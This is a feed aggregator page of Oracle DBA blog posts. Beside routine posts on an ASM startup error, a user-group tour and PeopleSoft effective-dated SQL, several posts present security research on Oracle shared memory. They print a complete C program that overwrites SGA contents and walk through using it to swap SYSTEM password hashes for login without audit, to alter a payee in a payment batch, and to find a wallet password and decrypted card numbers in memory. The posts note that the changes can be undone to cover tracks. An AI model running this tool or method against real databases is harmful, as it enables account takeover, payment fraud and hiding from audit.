Feed aggregator

Oracle encrypted table data found unencrypted in SGA

ContractOracle - Sun, 2014-07-13 22:29
When data needs to be kept private, or companies are worried about data leakage, then they often choose to store that data in encrypted columns in the table using Oracle Transparent Data Encryption. 

I wanted to see if that data was stored in the SGA in an unencrypted format.  I ran the following test from sqlplus.

CDB$ROOT@ORCL> create table credit_card_number(card_number char(16) encrypt);

Table created.

CDB$ROOT@ORCL> insert into credit_card_number values ('4321432143214321');

1 row created.

CDB$ROOT@ORCL> update credit_card_number set card_number = '5432543254325432' where card_number = '4321432143214321';

1 row updated.

CDB$ROOT@ORCL> VARIABLE cardnumber char(16);
CDB$ROOT@ORCL> EXEC :cardnumber := '6543654365436543';

PL/SQL procedure successfully completed.

CDB$ROOT@ORCL> update credit_card_number set card_number = :cardnumber where card_number = '5432543254325432';

1 row updated.

CDB$ROOT@ORCL> commit;

Now we search SGA for the data that should be encrypted to keep it private.  


[oracle@localhost shared_memory]$ ./sga_search 4321432143214321
USAGE :- sga_search searchstring


Number of input parameters seem correct.
SEARCH FOR   :- 4321432143214321
/dev/shm/ora_orcl_38895617_30 found string at 459100
4321432143214321
/dev/shm/ora_orcl_38895617_30 found string at 3244704
4321432143214321
/dev/shm/ora_orcl_38895617_29 found string at 2529984
4321432143214321
[oracle@localhost shared_memory]$ ./sga_search 5432543254325432
USAGE :- sga_search searchstring


Number of input parameters seem correct.
SEARCH FOR   :- 5432543254325432
/dev/shm/ora_orcl_38895617_30 found string at 459061
5432543254325432
/dev/shm/ora_orcl_38895617_30 found string at 4106466
5432543254325432
/dev/shm/ora_orcl_38895617_29 found string at 2075064
5432543254325432
/dev/shm/ora_orcl_38895617_29 found string at 2528552
5432543254325432
/dev/shm/ora_orcl_38895617_28 found string at 1549533
5432543254325432
[oracle@localhost shared_memory]$ ./sga_search 6543654365436543
USAGE :- sga_search searchstring


Number of input parameters seem correct.
SEARCH FOR   :- 6543654365436543
/dev/shm/ora_orcl_38895617_29 found string at 3801400
6543654365436543

The output shows that all 3 of the card_number values used in the demonstration can be found in SGA, sometimes in multiple locations.  Flushing the buffer cache did not clear the data from SGA, but flushing the shared pool did.  Further analysis is needed to confirm exactly where in the shared pool the unencrypted data is being stored to confirm if it is in sql statements, sql variables, or interim values kept by the encryption process.  Further testing is also needed to see if it is possible to avoid potential data leakage by using bind variables or wrapping sql in plsql.  In the meantime ... be aware that data you believe to be encrypted may actually be stored in memory in clear text visible to anyone with privileges to connect to the SGA.

Oracle TDE FAQ  :- http://www.oracle.com/technetwork/database/security/tde-faq-093689.html
States that "With TDE column encryption, encrypted data remains encrypted inside the SGA, but with TDE tablespace encryption, data is already decrypted in the SGA, which provides 100% transparency."
Categories: DBA Blogs

Oracle encryption wallet password found in SGA

ContractOracle - Sun, 2014-07-13 21:51
If companies are worried about data privacy or leakage, they are often recommended to encrypt sensitive data inside Oracle databases to stop DBAs from accessing it, and implement "separation of duties" so that only the application or data owner has the encryption keys or wallet password.  One method to encrypt data is to use Oracle Transparent Database Encryption which stores keys in the Oracle wallet protected by a wallet password.  Best practice dictates using a very long wallet password to avoid rainbow tables and brute force attacks, and keep the key and password secret.

I wrote a simple program to search for data in Oracle shared memory segments, and it was able to find the Oracle wallet password, which means anyone who can connect to the shared memory can get the wallet password and access the encrypted data.  The following demonstrates this :-

First open and close the wallet using the password :-


CDB$ROOT@ORCL> alter system set encryption wallet open identified by "verylongverysecretwalletpassword1";

System altered.

CDB$ROOT@ORCL> alter system set wallet close identified by "verylongverysecretwalletpassword1";

System altered.


Now search for the wallet password in SGA :-

oracle@localhost shared_memory]$ ./sga_search verylongverysecretwalletpassword1
USAGE :- sga_search searchstring


Number of input parameters seem correct.
SEARCH FOR   :- verylongverysecretwalletpassword1
/dev/shm/ora_orcl_35258369_30 found string at 3473189
verylongverysecretwalletpassword1

The search found the password in SGA, so it should be possible to analyse the memory structure that currently stores the known password, and create another program to directly extract passwords on unknown systems.  It may also be possible to find the password by selecting from v$ or x$ tables.  I have not done that analysis, so don't know how difficult it would be, but if the password is stored, it will be possible to extract it, and even if it is mixed up with a lot of other sql text and variables it would be very simple to just try opening the wallet using every string stored in SGA.

The password is still in SGA after flushing the buffer cache.

CDB$ROOT@ORCL> alter system flush buffer_cache;

System altered.


[oracle@localhost shared_memory]$ ./sga_search verylongverysecretwalletpassword1
USAGE :- sga_search searchstring


Number of input parameters seem correct.
SEARCH FOR   :- verylongverysecretwalletpassword1
/dev/shm/ora_orcl_35258369_30 found string at 3473189
verylongverysecretwalletpassword1


After flushing the shared pool the password is no longer available.  

CDB$ROOT@ORCL> alter system flush shared_pool;

System altered.


[oracle@localhost shared_memory]$ ./sga_search verylongverysecretwalletpassword1
USAGE :- sga_search searchstring


Number of input parameters seem correct.
SEARCH FOR   :- verylongverysecretwalletpassword1
[oracle@localhost shared_memory]$ 

As this password really should be secret, Oracle really should not store it.   More research is needed to confirm if the password can be hidden by using bind variables, obfuscation, or wrapping it in plsql.
Categories: DBA Blogs

ASM Startup Fails With ORA-04031 After Adding CPUs

Don Seiler - Sun, 2014-07-13 15:11
A few weeks ago we upgraded one of our production server, adding another CPU tray. This brought the number of CPU cores from 80 to 160, and took us from 2Tb of RAM to 4Tb (just in time for Oracle to announce the in-memory database in 12.1.0.2!).

However when I went to start things up, ASM wasn't starting up, giving me these errors:

ORA-04031: unable to allocate 32 bytes of shared memory ("shared pool","unknown object","KKSSP^550","kglseshtSegs")
ORA-04031: unable to allocate 392 bytes of shared memory ("shared pool","unknown object","sga heap(1,1)","kdlwss")

ORA-04031: unable to allocate 560 bytes of shared memory ("shared pool","unknown object","sga heap(1,1)","KKSSP")
RBAL (ospid: 59427): terminating the instance due to error 4031




A quick search of MOS turned up this gem:

Unable To Start ASM (ORA-00838 ORA-04031) On 11.2.0.3/11.2.0.4 If OS CPUs # > 64. (Doc ID 1416083.1), with this cause:
In 11.2.0.3/11.2.0.4, the "PROCESSES" parameter will be default to "available CPU cores * 80 + 40" (in the ASM spfile). As the default value for "MEMORY_TARGET" is based on "PROCESSES", it can be insufficient if there is a large number of CPU cores or large number of diskgroups which could cause issues (i.e. Grid Infrastructure stack fails to stop with ORA-04031 etc) per Bug:13605735 & Bug:12885278, it is recommended to increase the value of MEMORY_MAX_TARGET & MEMORY_TARGET before upgrading/installing to 11.2.0.3/11.2.0.4 (does not apply to 10g ASM).
We followed the workaround of increasing the ASM memory_target (and memory_max_size) to 4Gb (from 500Mb) and things started up just fine.

We've since actually increased the memory even more in ASM to see even better performance but I haven't taken the time yet to precisely understand where that is coming from. I'll be sure to write another post to detail that.

For now we're definitely enjoying the bigger shared pool and buffer caches in 11.2. We're definitely excited to dig into the in-memory options in the upcoming 12.1.0.2.
Categories: DBA Blogs

OTN Latin America Tour, 2014

Hans Forbrich - Fri, 2014-07-11 18:12
The dates, and the speakers, for the Latin America Tour have been anounnced.

http://www.oracle.com/technetwork/es/community/user-groups/otn-latinoamerica-tour-2014-2213115-esa.html


Categories: DBA Blogs

How to directly update Oracle password hashes in SGA while avoiding DB security and audit.

ContractOracle - Fri, 2014-07-11 04:22
My previous blog posts showed it was possible to directly update table data in the SGA and bypass audit and database level security.    The following example expands on that to show how to modify password hashes in the SGA to allow connection to the database without changing passwords in datafiles.

Basically we updated the password hashes in SGA to known values for user SYSTEM using the following 3 commands :-

./sga_data_replace 09F3A178C7F6F650 E235D5FC5165F1EC

./sga_data_replace 5550E8A22A9137A65F53EE87DF92415016E8CAFAFAFCE861CEF6D6403BC0 319C0B95B6F463C53B5375556C34B54A80C346529CBBBB68268F361DC179


./sga_data_replace 076F596A5F2AD47593407D24734BF6C0 E30710ABA2D3492243C239A8854B4E21


Output from the DB side is as follows.

First generate a set of password hashes for user SYSTEM with password "badguy".

CDB$ROOT@ORCL> alter user system identified by badguy;

User altered.


CDB$ROOT@ORCL> select password, spare4 from user$ where name = 'SYSTEM';

PASSWORD
--------------------------------------------------------------------------------
SPARE4
--------------------------------------------------------------------------------
E235D5FC5165F1EC
S:319C0B95B6F463C53B5375556C34B54A80C346529CBBBB68268F361DC179;H:E30710ABA2D3492243C239A8854B4E21

Next find the password hashes that need to be replaced.  Below we use sqlplus to extract them from user$, but we could also read them directly from datafile or SGA without logging into the database.

CDB$ROOT@ORCL> alter user system identified by goodguy;

User altered.

CDB$ROOT@ORCL> select password, spare4 from user$ where name = 'SYSTEM';

PASSWORD
--------------------------------------------------------------------------------
SPARE4
--------------------------------------------------------------------------------
09F3A178C7F6F650
S:5550E8A22A9137A65F53EE87DF92415016E8CAFAFAFCE861CEF6D6403BC0;H:076F596A5F2AD47593407D24734BF6C0

Demonstrate login using the "goodguy" password.

CDB$ROOT@ORCL> connect system/goodguy;
Connected.

Now replace the password hashes in SGA with the known password hashes for password "badguy".

./sga_data_replace 09F3A178C7F6F650 E235D5FC5165F1EC

./sga_data_replace 5550E8A22A9137A65F53EE87DF92415016E8CAFAFAFCE861CEF6D6403BC0 319C0B95B6F463C53B5375556C34B54A80C346529CBBBB68268F361DC179


./sga_data_replace 076F596A5F2AD47593407D24734BF6C0 E30710ABA2D3492243C239A8854B4E21


And test to confirm that we can now login using password "badguy".

CDB$ROOT@ORCL> connect system/badguy;
Connected.

This shows that the password hash values in SGA were updated, and the database did not crash, or detect the data change, and allowed direct login with the modified hashes.  Since the change was only made to data in memory, there is no audit record, and no evidence in datafiles (unless a transaction updates the modified blocks and commits them back to disk).  It would also be possible to back-out the changes made to SGA to the original hash values to cover up completely.

Sample output from the first SGA update command above follows :-

[oracle@localhost shared_memory]$ ./sga_data_replace 09F3A178C7F6F650 E235D5FC5165F1EC



WARNING WARNING WARNING


This program may crash or corrupt your Oracle database!!! It was written purely as an investigative tool and the author does not guarantee it will work, and does not recommend running it against PROD databases. Anyone may copy or modify the code provided.


USAGE :- sga_data_replace searchstring replacestring


Number of input parameters seem correct.
Length of search parameter 09F3A178C7F6F650 matches replace parameter E235D5FC5165F1EC
This program will connect to all shared memory segments in /dev/shm belonging to all running databases on the server.
SEARCH FOR   :- 09F3A178C7F6F650
REPLACE WITH :- E235D5FC5165F1EC
Enter Y to continue :- Y
/dev/shm/ora_orcl_20381697_76 replace string at 2099160
replace 0 with E
replace 9 with 2
replace F with 3
replace 3 with 5
replace A with D
replace 1 with 5
replace 7 with F
replace 8 with C
replace C with 5
replace 7 with 1
replace F with 6
replace 6 with 5
replace F with F
replace 6 with 1
replace 5 with E
replace 0 with C
/dev/shm/ora_orcl_20381697_76 replace string at 2271972
replace 0 with E
replace 9 with 2
replace F with 3
replace 3 with 5
replace A with D
replace 1 with 5
replace 7 with F
replace 8 with C
replace C with 5
replace 7 with 1
replace F with 6
replace 6 with 5
replace F with F
replace 6 with 1
replace 5 with E
replace 0 with C
/dev/shm/ora_orcl_20381697_76 replace string at 2320344
replace 0 with E
replace 9 with 2
replace F with 3
replace 3 with 5
replace A with D
replace 1 with 5
replace 7 with F
replace 8 with C
replace C with 5
replace 7 with 1
replace F with 6
replace 6 with 5
replace F with F
replace 6 with 1
replace 5 with E
replace 0 with C
/dev/shm/ora_orcl_20381697_75 replace string at 994020
replace 0 with E
replace 9 with 2
replace F with 3
replace 3 with 5
replace A with D
replace 1 with 5
replace 7 with F
replace 8 with C
replace C with 5
replace 7 with 1
replace F with 6
replace 6 with 5
replace F with F
replace 6 with 1
replace 5 with E
replace 0 with C
/dev/shm/ora_orcl_20381697_68 replace string at 2624228
replace 0 with E
replace 9 with 2
replace F with 3
replace 3 with 5
replace A with D
replace 1 with 5
replace 7 with F
replace 8 with C
replace C with 5
replace 7 with 1
replace F with 6
replace 6 with 5
replace F with F
replace 6 with 1
replace 5 with E
replace 0 with C
/dev/shm/ora_orcl_20381697_37 replace string at 450614
replace 0 with E
replace 9 with 2
replace F with 3
replace 3 with 5
replace A with D
replace 1 with 5
replace 7 with F
replace 8 with C
replace C with 5
replace 7 with 1
replace F with 6
replace 6 with 5
replace F with F
replace 6 with 1
replace 5 with E
replace 0 with C
/dev/shm/ora_orcl_20381697_35 replace string at 695886
replace 0 with E
replace 9 with 2
replace F with 3
replace 3 with 5
replace A with D
replace 1 with 5
replace 7 with F
replace 8 with C
replace C with 5
replace 7 with 1
replace F with 6
replace 6 with 5
replace F with F
replace 6 with 1
replace 5 with E
replace 0 with C
Error: File is empty, nothing to do
Categories: DBA Blogs

C program to find/replace data in Oracle SGA.

ContractOracle - Fri, 2014-07-11 03:49
Following is a proof of concept program to change data in Oracle shared memory mapped to /dev/shm
It uses shm_open and mmap to cleanly open and close the existing shared files, search for a string, and replace it.   I have tested it on Linux against Oracle 12C databases, changing data in SGA without crashing the database, but it should also work against 11g.  It won't work against Oracle versions prior to 11g as they manage shared memory in a different manner (Sample program here ).

I am happy for anyone to copy and/or modify this code, but be aware that this program has the potential to crash or corrupt any database on the server where it is run.  Sample output can be found here.

To compile it on Linux :-

gcc sga_data_replace.c -o sga_data_replace -lrt

Note that this blog may strip out some symbols, so if you have issues compiling please check syntax (especially in the include section).

[oracle@localhost shared_memory]$ more sga_data_replace.c
#include stdio.h
#include stdlib.h
#include ctype.h
#include dirent.h
#include string.h
#include unistd.h
#include sys/file.h
#include sys/mman.h

replace_sga(char search_string[],char replace_string[])
{
  DIR           *d;
  struct dirent *dir;
  char *data;
  char *memname;
  int i,j;
  int search_length = strlen(search_string);
  int replace_length = strlen(replace_string);
  d = opendir("/dev/shm");

  if (d)
  {
    while ((dir = readdir(d)) != NULL)
    {
      memname = dir->d_name;
      if (strstr(memname,"ora"))
      {
        //printf("Opening %s\n",memname);
        int fd = shm_open(memname, O_RDWR, 0660);

        if (fd == -1)
        {
          perror("Error opening file for reading");
          exit(EXIT_FAILURE);
        }

        struct stat fileInfo = {0};

        if (fstat(fd, &fileInfo) == -1)
        {
          perror("Error getting the file size");
          exit(EXIT_FAILURE);
        }

        if (fileInfo.st_size == 0)
        {
          fprintf(stderr, "Error: File is empty, nothing to do\n");
          exit(EXIT_FAILURE);
        }

        data = mmap(0, fileInfo.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);

        if (data == MAP_FAILED)
        {
          close(fd);
          perror("Error mmapping the file");
          exit(EXIT_FAILURE);
        }

        for (i = 0; i < fileInfo.st_size; i++)
        {
          for (j = 0; j < replace_length; j++)
          {
            if (data[i+j] != search_string[j])
              break;
          }

          if (j==replace_length)
          {
            printf("/dev/shm/%s replace string at %d\n",memname,i);
            for (j = 0; j < replace_length; j++)
            {
              printf("replace %c with %c\n",data[i+j],replace_string[j]);
              data[i+j] = replace_string[j];                  
            }
          }
        }
        close(fd);
      }
    }
  }
  closedir(d);
}

int main(int argc, char *argv[])
{
printf("\n\n\nWARNING WARNING WARNING\n\n\n");
printf("This program may crash or corrupt your Oracle database!!! ");
printf("It was written purely as an investigative tool and the author does not guarantee it will work, and does not recommend running it against PROD databases. ");
printf("Anyone may copy or modify the code provided.\n\n\n");
printf("USAGE :- sga_data_replace \n\n\n");

  if (argc == 3 && strlen(argv[1]) == strlen(argv[2]))
  {
    printf("Number of input parameters seem correct.\n");
    printf("Length of search parameter %s matches replace parameter %s\n",argv[1],argv[2]);
    printf("This program will connect to all shared memory segments in /dev/shm belonging to all running databases on the server.\n");
    printf("SEARCH FOR   :- %s\n",argv[1]);
    printf("REPLACE WITH :- %s\n",argv[2]);
    printf("Enter Y to continue :- ");

    char    user_input;
    scanf("  %c", &user_input );
    user_input = toupper( user_input );
    if(user_input == 'Y')
    {
      replace_sga(argv[1],argv[2]);
    }
  }
  else
  {
    printf("The program expects two parameters the same number of characters.\n");
  }
  return 0;
}

Categories: DBA Blogs

Sample output from program to update data in Oracle shared memory.

ContractOracle - Fri, 2014-07-11 03:45
Following is an example of updating Oracle data in shared memory.

From the database side we can see that only the data in SGA was changed, and the data on disk remained untouched.  (verified by flushing the buffer cache and forcing a re-read from disk)


CDB$ROOT@ORCL> create table test (text char(6));

Table created.

CDB$ROOT@ORCL> insert into test values ('vendor');

1 row created.

CDB$ROOT@ORCL> commit;

Commit complete.

CDB$ROOT@ORCL> select * from test;

TEXT
------
badguy

CDB$ROOT@ORCL> alter system flush buffer_cache;

System altered.

CDB$ROOT@ORCL> select * from test;

TEXT
------
vendor



Following is sample output from my program to update data in Oracle shared memory.  In this case it connected to every shared memory file in /dev/shm and replaced all strings "vendor" with "badguy".

[oracle@localhost shared_memory]$ ./sga_data_replace vendor badguy



WARNING WARNING WARNING


This program may crash or corrupt your Oracle database!!! It was written purely as an investigative tool and the author does not guarantee it will work, and does not recommend running it against PROD databases. Anyone may copy or modify the code provided.


USAGE :- sga_data_replace searchstring replacestring


Number of input parameters seem correct.
Length of search parameter vendor matches replace parameter badguy
This program will connect to all shared memory segments in /dev/shm belonging to all running databases on the server.
SEARCH FOR   :- vendor
REPLACE WITH :- badguy
Enter Y to continue :- Y
/dev/shm/ora_orcl_20381697_91 replace string at 366592
replace v with b
replace e with a
replace n with d
replace d with g
replace o with u
replace r with y
/dev/shm/ora_orcl_20381697_82 replace string at 3238216
replace v with b
replace e with a
replace n with d
replace d with g
replace o with u
replace r with y
/dev/shm/ora_orcl_20381697_75 replace string at 2230653
replace v with b
replace e with a
replace n with d
replace d with g
replace o with u
replace r with y
/dev/shm/ora_orcl_20381697_73 replace string at 1361711
replace v with b
replace e with a
replace n with d
replace d with g
replace o with u
replace r with y
/dev/shm/ora_orcl_20381697_73 replace string at 1361718
replace v with b
replace e with a
replace n with d
replace d with g
replace o with u
replace r with y
/dev/shm/ora_orcl_20381697_62 replace string at 1081334
replace v with b
replace e with a
replace n with d
replace d with g
replace o with u
replace r with y
Error: File is empty, nothing to do

Categories: DBA Blogs

Direct update of Oracle data in SGA to avoid audit.

ContractOracle - Thu, 2014-07-10 05:42
Vendors sell some rather expensive software for auditing Oracle database, and coding applications to ensure an audit trail, but the truth is that anyone logged into the database server as the owner of the database can directly modify data in datafiles, or even in memory.

I previously demonstrated using BBED to update blocks in datafiles, but it was necessary to update block checksums and flush the buffer cache to activate the changes.  Modifying data in SGA directly is easier, and leaves less evidence.  

It seems that once data is read into the SGA, Oracle does not use checksums to look for corruption, and it is also possible to modify uncommitted data.  I have written a simple C program to update SGA directly.

Here is one example demonstrating how even uncommitted data can be updated in the SGA.  The same thing can be done to any data in the SGA, including password hashes, credit card numbers, email addresses etc.

PDB1@ORCL> create table payment_batch (payee char(6));

Table created.

PDB1@ORCL> insert into payment_batch values ('vendor');

1 row created.

PDB1@ORCL> select * from payment_batch;

PAYEE
------
badguy

PDB1@ORCL> commit;

Commit complete.

PDB1@ORCL> alter system flush buffer_cache;

System altered.

PDB1@ORCL> select * from payment_batch;

PAYEE
------
badguy

You can see that in the middle of this transaction it was possible to modify the in-flight data stored in SGA, which was then committed to disk.  This was done via a direct update to SGA records on the DB server.
Categories: DBA Blogs

Introducing the Analytic Keep Clause for Effective-Dated/Sequence Queries in PeopleSoft

David Kurtz - Wed, 2014-07-09 13:46
Those of us who work with PeopleSoft, and especially the HCM product, are all too familiar with the concept of effect-dated data, and the need to find data that was effective at a particular date.  PeopleSoft products have always made extensive use of correlated sub-queries to determine the required rows from an effective-dated record.

The JOB record is a the heart of HCM. It is both effective-dated and effective sequenced. I will use it for the demonstrations in this article. I am going to suggest an alternative, although Oracle-specific, SQL construction.

 Let's start by looking at the job data for an employee in the demo database. Employee KF0018 has 17 rows of data two concurrent jobs.  The question I am going to ask is "What was the annual salary for this employee on 11 February 1995?".  Therefore, I am interested in the rows marked below with the asterisks. 
column annual_rt format 999,999
SELECT emplid, empl_rcd, effdt, effseq, action, deptid, currency_cd, annual_rt
FROM ps_job j
WHERE j.emplid = 'KF0018'
ORDER BY 1,2,3,4
/

EMPLID        EMPL_RCD EFFDT         EFFSEQ ACT DEPTID     CUR ANNUAL_RT
----------- ---------- --------- ---------- --- ---------- --- ---------
KF0018 0 12-JUN-83 0 HIR 13000 FRF 120,000
KF0018 0 01-JAN-84 0 PAY 13000 FRF 123,600
KF0018 0 01-JAN-85 0 PAY 13000 FRF 127,308
KF0018 0 01-JAN-86 0 PAY 13000 FRF 131,764
KF0018 0 01-JAN-87 0 PAY 13000 FRF 136,376
KF0018 0 01-JAN-88 0 PAY 13000 FRF 140,467
KF0018 0 01-JAN-89 0 PAY 13000 FRF 147,490
KF0018 0 22-JAN-95 0 PRO 13000 FRF 147,490
KF0018 0 22-JAN-95 1 PAY 13000 FRF 294,239 *
KF0018 0 22-JAN-96 0 PAY 13000 FRF 318,575
KF0018 0 01-JAN-98 0 PAY 13000 FRF 346,156
KF0018 0 01-JAN-00 0 DTA 13000 FRF 346,156
KF0018 0 01-JAN-02 0 PAY 13000 EUR 52,771
KF0018 1 01-NOV-89 0 ASG 21300 GBP 22,440
KF0018 1 31-DEC-93 0 ASC 21300 GBP 22,440
KF0018 1 01-JAN-94 0 ASG 12000 GBP 22,440 *
KF0018 1 31-DEC-95 0 ASC 10000 GBP 22,440

I will set statistics level to ALL so I can obtain detailed information about how the SQL statements execute:
ALTER SESSION SET statistics_level = ALL;

I extracted the execution plans and execution statistics with the following command
select * from table(dbms_xplan.display_cursor(null,null,'IOSTATS')) 
Typical PeopleSoft Platform Agnostic ConstructionThis is the usual way to construct the query in PeopleSoft. It is also valid on all databases platforms supported by PeopleSoft, not just Oracle. 
SELECT  emplid, empl_rcd, effdt, effseq, action, deptid, currency_cd, annual_rt
FROM ps_job j
WHERE j.effdt = (
SELECT MAX (j1.effdt) FROM ps_job j1
WHERE j1.emplid = j.emplid
AND j1.empl_rcd = j.empl_rcd
AND j1.effdt <= TO_DATE('19950211','YYYYMMDD'))
AND j.effseq = (
SELECT MAX (j2.effseq) FROM ps_job j2
WHERE j2.emplid = j.emplid
AND j2.empl_rcd = j.empl_rcd
AND j2.effdt = j.effdt)
AND j.emplid = 'KF0018'
ORDER BY 1,2,3,4
/

EMPLID        EMPL_RCD EFFDT         EFFSEQ ACT DEPTID     CUR ANNUAL_RT
----------- ---------- --------- ---------- --- ---------- --- ---------
KF0018 0 22-JAN-95 1 PAY 13000 FRF 294,239
KF0018 1 01-JAN-94 0 ASG 12000 GBP 22,440

This required three access of indexes on the PS_JOB table, and two accesses of the table, using 26 consistent reads.
Plan hash value: 2299825310
----------------------------------------------------------------------------------------------------------------
| Id | Operation | Name | Starts | E-Rows | A-Rows | A-Time | Buffers | Reads |
----------------------------------------------------------------------------------------------------------------
| 0 | SELECT STATEMENT | | 1 | | 2 |00:00:00.01 | 26 | 2 |
| 1 | SORT ORDER BY | | 1 | 1 | 2 |00:00:00.01 | 26 | 2 |
| 2 | NESTED LOOPS | | 1 | 1 | 2 |00:00:00.01 | 26 | 2 |
| 3 | NESTED LOOPS | | 1 | 1 | 3 |00:00:00.01 | 21 | 2 |
| 4 | VIEW | VW_SQ_1 | 1 | 1 | 2 |00:00:00.01 | 14 | 2 |
|* 5 | FILTER | | 1 | | 2 |00:00:00.01 | 14 | 2 |
| 6 | HASH GROUP BY | | 1 | 1 | 2 |00:00:00.01 | 14 | 2 |
| 7 | TABLE ACCESS BY INDEX ROWID| PS_JOB | 1 | 1 | 12 |00:00:00.01 | 14 | 2 |
|* 8 | INDEX RANGE SCAN | PS_JOB | 1 | 1 | 12 |00:00:00.01 | 2 | 2 |
| 9 | TABLE ACCESS BY INDEX ROWID | PS_JOB | 2 | 1 | 3 |00:00:00.01 | 7 | 0 |
|* 10 | INDEX RANGE SCAN | PSAJOB | 2 | 1 | 3 |00:00:00.01 | 4 | 0 |
|* 11 | VIEW PUSHED PREDICATE | VW_SQ_2 | 3 | 1 | 2 |00:00:00.01 | 5 | 0 |
|* 12 | FILTER | | 3 | | 3 |00:00:00.01 | 5 | 0 |
| 13 | SORT AGGREGATE | | 3 | 1 | 3 |00:00:00.01 | 5 | 0 |
|* 14 | FILTER | | 3 | | 5 |00:00:00.01 | 5 | 0 |
|* 15 | INDEX RANGE SCAN | PSAJOB | 3 | 1 | 5 |00:00:00.01 | 5 | 0 |
----------------------------------------------------------------------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

5 - filter("J1"."EMPLID"='KF0018')
8 - access("J1"."EMPLID"='KF0018' AND "J1"."SYS_NC00164$">=HEXTORAW('883CFDF4FEF8FEFAFF') )
filter(SYS_OP_UNDESCEND("J1"."SYS_NC00164$")<=TO_DATE(' 1995-02-11 00:00:00', 'syyyy-mm-dd
hh24:mi:ss'))
10 - access("J"."EMPLID"='KF0018' AND "ITEM_2"="J"."EMPL_RCD" AND
"J"."SYS_NC00164$"=SYS_OP_DESCEND("MAX(J1.EFFDT)"))
filter(SYS_OP_UNDESCEND("J"."SYS_NC00164$")="MAX(J1.EFFDT)")
11 - filter(SYS_OP_UNDESCEND("J"."SYS_NC00165$")="MAX(J2.EFFSEQ)")
12 - filter(COUNT(*)>0)
14 - filter('KF0018'="J"."EMPLID")
15 - access("J2"."EMPLID"='KF0018' AND "J2"."EMPL_RCD"="J"."EMPL_RCD" AND
"J2"."SYS_NC00164$"=SYS_OP_DESCEND(SYS_OP_UNDESCEND("J"."SYS_NC00164$")))
filter(SYS_OP_UNDESCEND("J2"."SYS_NC00164$")=SYS_OP_UNDESCEND("J"."SYS_NC00164$"))

This construction is also the reason you are required to set
_UNNEST_SUBQUERY=FALSE
on all PeopleSoft systems
Analytic Function and In-LineView/Sub-query FactorI have seen people use a combination of analytic functions and in-line views to avoid having to use the correlated sub-query construction. This has been possible since Oracle 9i.
WITH X AS (
SELECT emplid, empl_rcd, effdt, effseq, action, deptid, currency_cd, annual_rt
, ROW_NUMBER() OVER (PARTITION BY emplid, empl_rcd 
ORDER BY effdt DESC, effseq DESC) myrowseq
FROM ps_job j
WHERE j.effdt <= TO_DATE('19950211','YYYYMMDD')
AND j.emplid = 'KF0018'
)
SELECT emplid, empl_rcd, effdt, effseq, action, deptid, currency_cd, annual_rt
FROM x
WHERE myrowseq = 1
ORDER BY 1,2,3,4
/

EMPLID        EMPL_RCD EFFDT         EFFSEQ ACT DEPTID     CUR ANNUAL_RT
----------- ---------- --------- ---------- --- ---------- --- ---------
KF0018 0 22-JAN-95 1 PAY 13000 FRF 294,239
KF0018 1 01-JAN-94 0 ASG 12000 GBP 22,440

We get the same result, but now the index is scanned just once and we only need 14 consistent reads, so it produces a significant improvement. However, it still includes a sort operation in addition to the window function. We have to create a sequence number field in the in-line view and filter by that in the final query.
Plan hash value: 1316906785
---------------------------------------------------------------------------------------------------
| Id | Operation | Name | Starts | E-Rows | A-Rows | A-Time | Buffers |
---------------------------------------------------------------------------------------------------
| 0 | SELECT STATEMENT | | 1 | | 2 |00:00:00.01 | 14 |
| 1 | SORT ORDER BY | | 1 | 1 | 2 |00:00:00.01 | 14 |
|* 2 | VIEW | | 1 | 1 | 2 |00:00:00.01 | 14 |
|* 3 | WINDOW NOSORT | | 1 | 1 | 12 |00:00:00.01 | 14 |
| 4 | TABLE ACCESS BY INDEX ROWID| PS_JOB | 1 | 1 | 12 |00:00:00.01 | 14 |
|* 5 | INDEX RANGE SCAN | PSAJOB | 1 | 1 | 12 |00:00:00.01 | 2 |
---------------------------------------------------------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

2 - filter("MYROWSEQ"=1)
3 - filter(ROW_NUMBER() OVER ( PARTITION BY "EMPLID","EMPL_RCD" ORDER BY
"J"."SYS_NC00164$","J"."SYS_NC00165$")<=1)
5 - access("J"."EMPLID"='KF0018' AND "J"."SYS_NC00164$">=HEXTORAW('883CFDF4FEF8FEFAFF')
)
filter(SYS_OP_UNDESCEND("J"."SYS_NC00164$")<=TO_DATE(' 1995-02-11 00:00:00',
'syyyy-mm-dd hh24:mi:ss'))

Analytic Function Keep Clause This form of the analytic functions is documented for the first time in 12c, but is available in 10g (my thanks to Tony Hasler for introducing me to it). It works by effectively keeping a running maximum value of the columns in the order by clause within in group.
SELECT emplid, empl_rcd
, MAX(effdt) KEEP (DENSE_RANK LAST ORDER BY effdt, effseq) AS effdt
, MAX(effseq) KEEP (DENSE_RANK LAST ORDER BY effdt, effseq) AS effseq
, MAX(action) KEEP (DENSE_RANK LAST ORDER BY effdt, effseq) AS action
, MAX(deptid) KEEP (DENSE_RANK LAST ORDER BY effdt, effseq) AS deptid
, MAX(currency_cd) KEEP (DENSE_RANK LAST ORDER BY effdt, effseq) AS currency_cd
, MAX(annual_rt) KEEP (DENSE_RANK LAST ORDER BY effdt, effseq) AS annual_rt
FROM ps_job j
WHERE j.effdt <= TO_DATE('19950211','YYYYMMDD')
AND j.emplid = 'KF0018'
GROUP BY emplid, empl_rcd
/

EMPLID        EMPL_RCD EFFDT         EFFSEQ ACT DEPTID     CUR ANNUAL_RT
----------- ---------- --------- ---------- --- ---------- --- ---------
KF0018 0 22-JAN-95 1 PAY 13000 FRF 294,239
KF0018 1 01-JAN-94 0 ASG 12000 GBP 22,440

Although this construction uses an additional consistent read, it has the advantage of not using either an inline view or a window function and does not sort the data.
Plan hash value: 1550496807
-------------------------------------------------------------------------------------------------
| Id | Operation | Name | Starts | E-Rows | A-Rows | A-Time | Buffers |
-------------------------------------------------------------------------------------------------
| 0 | SELECT STATEMENT | | 1 | | 2 |00:00:00.01 | 15 |
| 1 | SORT GROUP BY NOSORT | | 1 | 1 | 2 |00:00:00.01 | 15 |
| 2 | TABLE ACCESS BY INDEX ROWID| PS_JOB | 1 | 1 | 12 |00:00:00.01 | 15 |
|* 3 | INDEX RANGE SCAN | PS_JOB | 1 | 1 | 12 |00:00:00.01 | 3 |
-------------------------------------------------------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

3 - access("J"."EMPLID"='KF0018' AND "J"."SYS_NC00164$">=HEXTORAW('883CFDF3FEF8FEFAFF'
) )
